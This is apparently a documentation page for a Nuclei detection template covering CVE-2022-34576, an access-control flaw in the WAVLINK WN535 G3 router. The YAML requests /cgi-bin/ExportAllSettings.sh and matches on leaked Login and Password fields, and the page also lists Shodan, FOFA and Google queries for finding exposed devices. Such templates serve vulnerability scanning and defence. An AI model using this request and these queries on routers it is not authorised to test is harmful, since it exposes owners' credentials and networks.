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WAVLINK WN535 G3 - Improper Access Control

ID: CVE-2022-34576

Severity: high

Author: arafatansari

Tags: cve,cve2022,wavlink,exposure

Description

Section titled “Description”

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-34576


info:
  name: WAVLINK WN535 G3 - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3_Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34576
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/tr3ss/gofetch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34576
    epss-score: 0.03075
    epss-percentile: 0.91011
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402203acc7d38240c28f4c3da488e0f1a624e839b2a2e2939ed1426c911834c3d0ce0022018377abb1d91103b3525611a2415b7f7776b174b3d61f8e39df9bd93c47fdab9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34576.yaml"

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